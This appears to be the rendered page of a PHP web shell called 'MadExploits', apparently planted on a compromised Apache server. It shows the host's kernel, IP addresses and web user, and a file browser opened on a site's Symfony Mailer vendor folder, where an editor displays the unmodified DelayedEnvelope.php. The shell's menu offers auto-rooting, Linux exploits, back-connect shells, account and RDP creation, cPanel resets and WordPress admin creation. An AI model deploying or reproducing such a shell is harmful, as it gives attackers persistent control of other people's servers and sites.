Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.170
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
mailer /
[ HOME SHELL ]
Name
Size
Permission
Action
DataCollector
[ DIR ]
drwxrwxr-x
Event
[ DIR ]
drwxrwxr-x
EventListener
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Header
[ DIR ]
drwxrwxr-x
Messenger
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
Transport
[ DIR ]
drwxrwxr-x
CHANGELOG.md
1.91
KB
-rw-rw-r--
DelayedEnvelope.php
2.37
KB
-rw-rw-r--
Envelope.php
2.21
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
Mailer.php
1.82
KB
-rw-rw-r--
MailerInterface.php
763
B
-rw-rw-r--
README.md
1.85
KB
-rw-rw-r--
SentMessage.php
2.02
KB
-rw-rw-r--
Transport.php
5.99
KB
-rw-rw-r--
composer.json
1.34
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DelayedEnvelope.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Header\Headers; use Symfony\Component\Mime\Message; /** * @author Fabien Potencier <fabien@symfony.com> * * @internal */ final class DelayedEnvelope extends Envelope { private $senderSet = false; private $recipientsSet = false; private $message; public function __construct(Message $message) { $this->message = $message; } public function setSender(Address $sender): void { parent::setSender($sender); $this->senderSet = true; } public function getSender(): Address { if ($this->senderSet) { return parent::getSender(); } return self::getSenderFromHeaders($this->message->getHeaders()); } public function setRecipients(array $recipients): void { parent::setRecipients($recipients); $this->recipientsSet = parent::getRecipients(); } /** * @return Address[] */ public function getRecipients(): array { if ($this->recipientsSet) { return parent::getRecipients(); } return self::getRecipientsFromHeaders($this->message->getHeaders()); } private static function getRecipientsFromHeaders(Headers $headers): array { $recipients = []; foreach (['to', 'cc', 'bcc'] as $name) { foreach ($headers->all($name) as $header) { foreach ($header->getAddresses() as $address) { $recipients[] = $address; } } } return $recipients; } private static function getSenderFromHeaders(Headers $headers): Address { if ($sender = $headers->get('Sender')) { return $sender->getAddress(); } if ($from = $headers->get('From')) { return $from->getAddresses()[0]; } if ($return = $headers->get('Return-Path')) { return $return->getAddress(); } throw new LogicException('Unable to determine the sender of the message.'); } }
Close